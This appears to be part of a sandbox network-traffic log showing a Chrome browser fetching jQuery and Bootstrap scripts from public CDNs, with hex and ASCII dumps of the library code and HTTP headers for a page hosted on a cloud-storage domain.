2024-03-15 12:59:23 UTC	1378	IN	Data Raw: 63 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 20 73 63 72 69 70 74 20 29 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 20 73 63 72 69 70 74 20 29 3b 0a 09 7d 0a 0a 0a 66 75 6e 63 74 69 6f 6e 20 74 6f 54 79 70 65 28 20 6f 62 6a 20 29 20 7b 0a 09 69 66 20 28 20 6f 62 6a 20 3d 3d 20 6e 75 6c 6c 20 29 20 7b 0a 09 09 72 65 74 75 72 6e 20 6f 62 6a 20 2b 20 22 22 3b 0a 09 7d 0a 0a 09 2f 2f 20 53 75 70 70 6f 72 74 3a 20 41 6e 64 72 6f 69 64 20 3c 3d 32 2e 33 20 6f 6e 6c 79 20 28 66 75 6e 63 74 69 6f 6e 69 73 68 20 52 65 67 45 78 70 29 0a 09 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 6f 62 6a 20 3d 3d 3d 20 22 6f 62 6a 65 63 74 22 20 7c 7c 20 74 79 70 65 6f 66 20 6f 62 6a 20 3d 3d 3d 20 22 66 75 6e 63 74 69 6f 6e 22 20 3f 0a 09 Data Ascii: c.head.appendChild( script ).parentNode.removeChild( script );}function toType( obj ) {if ( obj == null ) {return obj + "";}// Support: Android <=2.3 only (functionish RegExp)return typeof obj === "object" \|\| typeof obj === "function" ?
2024-03-15 12:59:23 UTC	1378	IN	Data Raw: 7b 0a 09 09 09 72 65 74 75 72 6e 20 73 6c 69 63 65 2e 63 61 6c 6c 28 20 74 68 69 73 20 29 3b 0a 09 09 7d 0a 0a 09 09 2f 2f 20 52 65 74 75 72 6e 20 6a 75 73 74 20 74 68 65 20 6f 6e 65 20 65 6c 65 6d 65 6e 74 20 66 72 6f 6d 20 74 68 65 20 73 65 74 0a 09 09 72 65 74 75 72 6e 20 6e 75 6d 20 3c 20 30 20 3f 20 74 68 69 73 5b 20 6e 75 6d 20 2b 20 74 68 69 73 2e 6c 65 6e 67 74 68 20 5d 20 3a 20 74 68 69 73 5b 20 6e 75 6d 20 5d 3b 0a 09 7d 2c 0a 0a 09 2f 2f 20 54 61 6b 65 20 61 6e 20 61 72 72 61 79 20 6f 66 20 65 6c 65 6d 65 6e 74 73 20 61 6e 64 20 70 75 73 68 20 69 74 20 6f 6e 74 6f 20 74 68 65 20 73 74 61 63 6b 0a 09 2f 2f 20 28 72 65 74 75 72 6e 69 6e 67 20 74 68 65 20 6e 65 77 20 6d 61 74 63 68 65 64 20 65 6c 65 6d 65 6e 74 20 73 65 74 29 0a 09 70 75 73 68 53 Data Ascii: {return slice.call( this );}// Return just the one element from the setreturn num < 0 ? this[ num + this.length ] : this[ num ];},// Take an array of elements and push it onto the stack// (returning the new matched element set)pushS
2024-03-15 12:59:23 UTC	1378	IN	Data Raw: 65 72 79 2e 66 6e 2e 65 78 74 65 6e 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 76 61 72 20 6f 70 74 69 6f 6e 73 2c 20 6e 61 6d 65 2c 20 73 72 63 2c 20 63 6f 70 79 2c 20 63 6f 70 79 49 73 41 72 72 61 79 2c 20 63 6c 6f 6e 65 2c 0a 09 09 74 61 72 67 65 74 20 3d 20 61 72 67 75 6d 65 6e 74 73 5b 20 30 20 5d 20 7c 7c 20 7b 7d 2c 0a 09 09 69 20 3d 20 31 2c 0a 09 09 6c 65 6e 67 74 68 20 3d 20 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 0a 09 09 64 65 65 70 20 3d 20 66 61 6c 73 65 3b 0a 0a 09 2f 2f 20 48 61 6e 64 6c 65 20 61 20 64 65 65 70 20 63 6f 70 79 20 73 69 74 75 61 74 69 6f 6e 0a 09 69 66 20 28 20 74 79 70 65 6f 66 20 74 61 72 67 65 74 20 3d 3d 3d 20 22 62 6f 6f 6c 65 61 6e 22 20 29 20 7b 0a 09 09 64 65 65 70 20 3d 20 74 61 72 67 65 74 3b Data Ascii: ery.fn.extend = function() {var options, name, src, copy, copyIsArray, clone,target = arguments[ 0 ] \|\| {},i = 1,length = arguments.length,deep = false;// Handle a deep copy situationif ( typeof target === "boolean" ) {deep = target;
2024-03-15 12:59:23 UTC	1378	IN	Data Raw: 65 2c 20 63 6f 70 79 20 29 3b 0a 0a 09 09 09 09 2f 2f 20 44 6f 6e 27 74 20 62 72 69 6e 67 20 69 6e 20 75 6e 64 65 66 69 6e 65 64 20 76 61 6c 75 65 73 0a 09 09 09 09 7d 20 65 6c 73 65 20 69 66 20 28 20 63 6f 70 79 20 21 3d 3d 20 75 6e 64 65 66 69 6e 65 64 20 29 20 7b 0a 09 09 09 09 09 74 61 72 67 65 74 5b 20 6e 61 6d 65 20 5d 20 3d 20 63 6f 70 79 3b 0a 09 09 09 09 7d 0a 09 09 09 7d 0a 09 09 7d 0a 09 7d 0a 0a 09 2f 2f 20 52 65 74 75 72 6e 20 74 68 65 20 6d 6f 64 69 66 69 65 64 20 6f 62 6a 65 63 74 0a 09 72 65 74 75 72 6e 20 74 61 72 67 65 74 3b 0a 7d 3b 0a 0a 6a 51 75 65 72 79 2e 65 78 74 65 6e 64 28 20 7b 0a 0a 09 2f 2f 20 55 6e 69 71 75 65 20 66 6f 72 20 65 61 63 68 20 63 6f 70 79 20 6f 66 20 6a 51 75 65 72 79 20 6f 6e 20 74 68 65 20 70 61 67 65 0a 09 65 Data Ascii: e, copy );// Don't bring in undefined values} else if ( copy !== undefined ) {target[ name ] = copy;}}}}// Return the modified objectreturn target;};jQuery.extend( {// Unique for each copy of jQuery on the pagee
2024-03-15 12:59:23 UTC	1378	IN	Data Raw: 09 09 44 4f 4d 45 76 61 6c 28 20 63 6f 64 65 20 29 3b 0a 09 7d 2c 0a 0a 09 65 61 63 68 3a 20 66 75 6e 63 74 69 6f 6e 28 20 6f 62 6a 2c 20 63 61 6c 6c 62 61 63 6b 20 29 20 7b 0a 09 09 76 61 72 20 6c 65 6e 67 74 68 2c 20 69 20 3d 20 30 3b 0a 0a 09 09 69 66 20 28 20 69 73 41 72 72 61 79 4c 69 6b 65 28 20 6f 62 6a 20 29 20 29 20 7b 0a 09 09 09 6c 65 6e 67 74 68 20 3d 20 6f 62 6a 2e 6c 65 6e 67 74 68 3b 0a 09 09 09 66 6f 72 20 28 20 3b 20 69 20 3c 20 6c 65 6e 67 74 68 3b 20 69 2b 2b 20 29 20 7b 0a 09 09 09 09 69 66 20 28 20 63 61 6c 6c 62 61 63 6b 2e 63 61 6c 6c 28 20 6f 62 6a 5b 20 69 20 5d 2c 20 69 2c 20 6f 62 6a 5b 20 69 20 5d 20 29 20 3d 3d 3d 20 66 61 6c 73 65 20 29 20 7b 0a 09 09 09 09 09 62 72 65 61 6b 3b 0a 09 09 09 09 7d 0a 09 09 09 7d 0a 09 09 7d 20 Data Ascii: DOMEval( code );},each: function( obj, callback ) {var length, i = 0;if ( isArrayLike( obj ) ) {length = obj.length;for ( ; i < length; i++ ) {if ( callback.call( obj[ i ], i, obj[ i ] ) === false ) {break;}}}
2024-03-15 12:59:23 UTC	1378	IN	Data Raw: 62 61 63 6b 45 78 70 65 63 74 20 3d 20 21 69 6e 76 65 72 74 3b 0a 0a 09 09 2f 2f 20 47 6f 20 74 68 72 6f 75 67 68 20 74 68 65 20 61 72 72 61 79 2c 20 6f 6e 6c 79 20 73 61 76 69 6e 67 20 74 68 65 20 69 74 65 6d 73 0a 09 09 2f 2f 20 74 68 61 74 20 70 61 73 73 20 74 68 65 20 76 61 6c 69 64 61 74 6f 72 20 66 75 6e 63 74 69 6f 6e 0a 09 09 66 6f 72 20 28 20 3b 20 69 20 3c 20 6c 65 6e 67 74 68 3b 20 69 2b 2b 20 29 20 7b 0a 09 09 09 63 61 6c 6c 62 61 63 6b 49 6e 76 65 72 73 65 20 3d 20 21 63 61 6c 6c 62 61 63 6b 28 20 65 6c 65 6d 73 5b 20 69 20 5d 2c 20 69 20 29 3b 0a 09 09 09 69 66 20 28 20 63 61 6c 6c 62 61 63 6b 49 6e 76 65 72 73 65 20 21 3d 3d 20 63 61 6c 6c 62 61 63 6b 45 78 70 65 63 74 20 29 20 7b 0a 09 09 09 09 6d 61 74 63 68 65 73 2e 70 75 73 68 28 20 65 Data Ascii: backExpect = !invert;// Go through the array, only saving the items// that pass the validator functionfor ( ; i < length; i++ ) {callbackInverse = !callback( elems[ i ], i );if ( callbackInverse !== callbackExpect ) {matches.push( e
2024-03-15 12:59:23 UTC	1378	IN	Data Raw: 2c 20 6e 61 6d 65 20 29 20 7b 0a 09 63 6c 61 73 73 32 74 79 70 65 5b 20 22 5b 6f 62 6a 65 63 74 20 22 20 2b 20 6e 61 6d 65 20 2b 20 22 5d 22 20 5d 20 3d 20 6e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 0a 7d 20 29 3b 0a 0a 66 75 6e 63 74 69 6f 6e 20 69 73 41 72 72 61 79 4c 69 6b 65 28 20 6f 62 6a 20 29 20 7b 0a 0a 09 2f 2f 20 53 75 70 70 6f 72 74 3a 20 72 65 61 6c 20 69 4f 53 20 38 2e 32 20 6f 6e 6c 79 20 28 6e 6f 74 20 72 65 70 72 6f 64 75 63 69 62 6c 65 20 69 6e 20 73 69 6d 75 6c 61 74 6f 72 29 0a 09 2f 2f 20 60 69 6e 60 20 63 68 65 63 6b 20 75 73 65 64 20 74 6f 20 70 72 65 76 65 6e 74 20 4a 49 54 20 65 72 72 6f 72 20 28 67 68 2d 32 31 34 35 29 0a 09 2f 2f 20 68 61 73 4f 77 6e 20 69 73 6e 27 74 20 75 73 65 64 20 68 65 72 65 20 64 75 65 20 74 Data Ascii: , name ) {class2type[ "[object " + name + "]" ] = name.toLowerCase();} );function isArrayLike( obj ) {// Support: real iOS 8.2 only (not reproducible in simulator)// `in` check used to prevent JIT error (gh-2145)// hasOwn isn't used here due t
2024-03-15 12:59:23 UTC	1378	IN	Data Raw: 6e 73 74 61 6e 63 65 20 6d 65 74 68 6f 64 73 0a 09 68 61 73 4f 77 6e 20 3d 20 28 7b 7d 29 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 0a 09 61 72 72 20 3d 20 5b 5d 2c 0a 09 70 6f 70 20 3d 20 61 72 72 2e 70 6f 70 2c 0a 09 70 75 73 68 5f 6e 61 74 69 76 65 20 3d 20 61 72 72 2e 70 75 73 68 2c 0a 09 70 75 73 68 20 3d 20 61 72 72 2e 70 75 73 68 2c 0a 09 73 6c 69 63 65 20 3d 20 61 72 72 2e 73 6c 69 63 65 2c 0a 09 2f 2f 20 55 73 65 20 61 20 73 74 72 69 70 70 65 64 2d 64 6f 77 6e 20 69 6e 64 65 78 4f 66 20 61 73 20 69 74 27 73 20 66 61 73 74 65 72 20 74 68 61 6e 20 6e 61 74 69 76 65 0a 09 2f 2f 20 68 74 74 70 73 3a 2f 2f 6a 73 70 65 72 66 2e 63 6f 6d 2f 74 68 6f 72 2d 69 6e 64 65 78 6f 66 2d 76 73 2d 66 6f 72 2f 35 0a 09 69 6e 64 65 78 4f 66 20 3d 20 66 75 6e Data Ascii: nstance methodshasOwn = ({}).hasOwnProperty,arr = [],pop = arr.pop,push_native = arr.push,push = arr.push,slice = arr.slice,// Use a stripped-down indexOf as it's faster than native// https://jsperf.com/thor-indexof-vs-for/5indexOf = fun

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.17	49825	151.101.130.137	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:59:23 UTC	726	OUT	GET /jquery-3.2.1.slim.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://nwfkh03tev-1324839608.cos.sa-saopaulo.myqcloud.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://nwfkh03tev-1324839608.cos.sa-saopaulo.myqcloud.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-15 12:59:24 UTC	519	IN	HTTP/1.1 200 OK Connection: close Content-Length: 69597 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-10fdd" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Accept-Ranges: bytes Date: Fri, 15 Mar 2024 12:59:24 GMT Via: 1.1 varnish Age: 2680454 X-Served-By: cache-lga21952-LGA X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1710507564.991122,VS0,VE14 Vary: Accept-Encoding
2024-03-15 12:59:24 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 32 2e 31 20 2d 61 6a 61 78 2c 2d 61 6a 61 78 2f 6a 73 6f 6e 70 2c 2d 61 6a 61 78 2f 6c 6f 61 64 2c 2d 61 6a 61 78 2f 70 61 72 73 65 58 4d 4c 2c 2d 61 6a 61 78 2f 73 63 72 69 70 74 2c 2d 61 6a 61 78 2f 76 61 72 2f 6c 6f 63 61 74 69 6f 6e 2c 2d 61 6a 61 78 2f 76 61 72 2f 6e 6f 6e 63 65 2c 2d 61 6a 61 78 2f 76 61 72 2f 72 71 75 65 72 79 2c 2d 61 6a 61 78 2f 78 68 72 2c 2d 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 2f 5f 65 76 61 6c 55 72 6c 2c 2d 65 76 65 6e 74 2f 61 6a 61 78 2c 2d 65 66 66 65 63 74 73 2c 2d 65 66 66 65 63 74 73 2f 54 77 65 65 6e 2c 2d 65 66 66 65 63 74 73 2f 61 6e 69 6d 61 74 65 64 53 65 6c 65 63 74 6f 72 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e Data Ascii: /*! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other con
2024-03-15 12:59:24 UTC	1378	IN	Data Raw: 5b 61 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 72 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 61 29 3b 72 65 74 75 72 6e 20 62 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 62 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 72 2e 65 61 63 68 28 74 68 69 73 2c 61 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 72 2e 6d 61 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 20 61 2e 63 61 6c 6c 28 62 2c 63 2c 62 29 7d 29 29 7d 2c 73 6c 69 63 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 Data Ascii: [a]},pushStack:function(a){var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:function(a){return r.each(this,a)},map:function(a){return this.pushStack(r.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushSta
2024-03-15 12:59:24 UTC	1378	IN	Data Raw: 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6b 2e 63 61 6c 6c 28 61 29 29 26 26 28 21 28 62 3d 65 28 61 29 29 7c 7c 28 63 3d 6c 2e 63 61 6c 6c 28 62 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 62 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 63 26 26 6d 2e 63 61 6c 6c 28 63 29 3d 3d 3d 6e 29 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3b 66 6f 72 28 62 20 69 6e 20 61 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 74 79 70 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 61 3f 61 2b 22 22 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 61 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 Data Ascii: ject Object]"!==k.call(a))&&(!(b=e(a))\|\|(c=l.call(b,"constructor")&&b.constructor,"function"==typeof c&&m.call(c)===n))},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a\|\|"function"==typ
2024-03-15 12:59:24 UTC	1378	IN	Data Raw: 6e 6f 77 2c 73 75 70 70 6f 72 74 3a 6f 7d 29 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 28 72 2e 66 6e 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 63 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 29 2c 72 2e 65 61 63 68 28 22 42 6f 6f 6c 65 61 6e 20 4e 75 6d 62 65 72 20 53 74 72 69 6e 67 20 46 75 6e 63 74 69 6f 6e 20 41 72 72 61 79 20 44 61 74 65 20 52 65 67 45 78 70 20 4f 62 6a 65 63 74 20 45 72 72 6f 72 20 53 79 6d 62 6f 6c 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 6a 5b 22 5b 6f 62 6a 65 63 74 20 22 2b 62 2b 22 5d 22 5d 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 77 28 61 29 7b 76 61 72 20 62 3d 21 21 61 26 26 22 6c 65 Data Ascii: now,support:o}),"function"==typeof Symbol&&(r.fn[Symbol.iterator]=c[Symbol.iterator]),r.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(a,b){j["[object "+b+"]"]=b.toLowerCase()});function w(a){var b=!!a&&"le
2024-03-15 12:59:24 UTC	1378	IN	Data Raw: 22 29 22 29 2c 43 4c 41 53 53 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 5c 5c 2e 28 22 2b 4c 2b 22 29 22 29 2c 54 41 47 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 28 22 2b 4c 2b 22 7c 5b 2a 5d 29 22 29 2c 41 54 54 52 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 29 2c 50 53 45 55 44 4f 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4e 29 2c 43 48 49 4c 44 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 3a 28 6f 6e 6c 79 7c 66 69 72 73 74 7c 6c 61 73 74 7c 6e 74 68 7c 6e 74 68 2d 6c 61 73 74 29 2d 28 63 68 69 6c 64 7c 6f 66 2d 74 79 70 65 29 28 3f 3a 5c 5c 28 22 2b 4b 2b 22 2a 28 65 76 65 6e 7c 6f 64 64 7c 28 28 5b 2b 2d 5d 7c 29 28 5c 5c 64 2a 29 6e 7c 29 22 2b 4b 2b 22 2a 28 3f 3a 28 5b 2b 2d 5d 7c 29 22 2b 4b 2b 22 2a 28 5c 5c 64 2b 29 7c 29 29 22 2b 4b Data Ascii: ")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L+"\|[])"),ATTR:new RegExp("^"+M),PSEUDO:new RegExp("^"+N),CHILD:new RegExp("^:(only\|first\|last\|nth\|nth-last)-(child\|of-type)(?:\\("+K+"(even\|odd\|(([+-]\|)(\\d)n\|)"+K+"(?:([+-]\|)"+K+"*(\\d+)\|))"+K
2024-03-15 12:59:24 UTC	1378	IN	Data Raw: 3d 3d 77 26 26 31 31 21 3d 3d 77 29 72 65 74 75 72 6e 20 64 3b 69 66 28 21 65 26 26 28 28 62 3f 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 3a 76 29 21 3d 3d 6e 26 26 6d 28 62 29 2c 62 3d 62 7c 7c 6e 2c 70 29 29 7b 69 66 28 31 31 21 3d 3d 77 26 26 28 6c 3d 5a 2e 65 78 65 63 28 61 29 29 29 69 66 28 66 3d 6c 5b 31 5d 29 7b 69 66 28 39 3d 3d 3d 77 29 7b 69 66 28 21 28 6a 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 29 72 65 74 75 72 6e 20 64 3b 69 66 28 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 28 6a 29 2c 64 7d 65 6c 73 65 20 69 66 28 73 26 26 28 6a 3d 73 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 26 26 74 28 62 2c 6a 29 26 26 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 Data Ascii: ==w&&11!==w)return d;if(!e&&((b?b.ownerDocument\|\|b:v)!==n&&m(b),b=b\|\|n,p)){if(11!==w&&(l=Z.exec(a)))if(f=l[1]){if(9===w){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(s&&(j=s.getElementById(f))&&t(b,j)&&j.id===f)return d.push
2024-03-15 12:59:24 UTC	1378	IN	Data Raw: 20 6d 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 22 69 6e 70 75 74 22 3d 3d 3d 63 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6e 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 28 22 69 6e 70 75 74 22 3d 3d 3d 63 7c 7c 22 62 75 74 74 6f 6e 22 3d 3d 3d 63 29 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6f 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 22 66 6f 72 6d 22 69 6e 20 62 3f 62 2e 70 61 Data Ascii: ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c\|\|"button"===c)&&b.type===a}}function oa(a){return function(b){return"form"in b?b.pa
2024-03-15 12:59:24 UTC	1378	IN	Data Raw: 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 7c 7c 21 6e 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 28 75 29 2e 6c 65 6e 67 74 68 7d 29 2c 63 2e 67 65 74 42 79 49 64 3f 28 64 2e 66 69 6c 74 65 72 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 72 65 70 6c 61 63 65 28 5f 2c 61 61 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 3d 3d 3d 62 7d 7d 2c 64 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 70 29 7b 76 61 72 20 63 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 Data Ascii: getElementsByName\|\|!n.getElementsByName(u).length}),c.getById?(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){return a.getAttribute("id")===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a)
2024-03-15 12:59:24 UTC	1378	IN	Data Raw: 2e 70 75 73 68 28 22 5b 2a 5e 24 5d 3d 22 2b 4b 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 73 65 6c 65 63 74 65 64 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 5c 5c 5b 22 2b 4b 2b 22 2a 28 3f 3a 76 61 6c 75 65 7c 22 2b 4a 2b 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 69 64 7e 3d 22 2b 75 2b 22 2d 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 7e 3d 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 75 2b 22 2b 2a 22 29 2e Data Ascii: .push("[^$]="+K+"(?:''\|\"\")"),a.querySelectorAll("[selected]").length\|\|q.push("\\["+K+"(?:value\|"+J+")"),a.querySelectorAll("[id~="+u+"-]").length\|\|q.push("~="),a.querySelectorAll(":checked").length\|\|q.push(":checked"),a.querySelectorAll("a#"+u+"+").
2024-03-15 12:59:24 UTC	1378	IN	Data Raw: 65 29 69 66 28 62 3d 3d 3d 61 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 42 3d 62 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 3d 3d 3d 62 29 72 65 74 75 72 6e 20 6c 3d 21 30 2c 30 3b 76 61 72 20 64 3d 21 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 64 3f 64 3a 28 64 3d 28 61 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 61 29 3d 3d 3d 28 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 29 3f 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 62 29 3a 31 2c 31 26 64 7c 7c 21 63 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 Data Ascii: e)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument\|\|a)===(b.ownerDocument\|\|b)?a.compareDocumentPosition(b):1,1&d\|\|!c.sortDetached&&b.compareDocu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.17	49828	104.18.11.207	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:59:24 UTC	745	OUT	GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1 Host: maxcdn.bootstrapcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://nwfkh03tev-1324839608.cos.sa-saopaulo.myqcloud.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://nwfkh03tev-1324839608.cos.sa-saopaulo.myqcloud.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
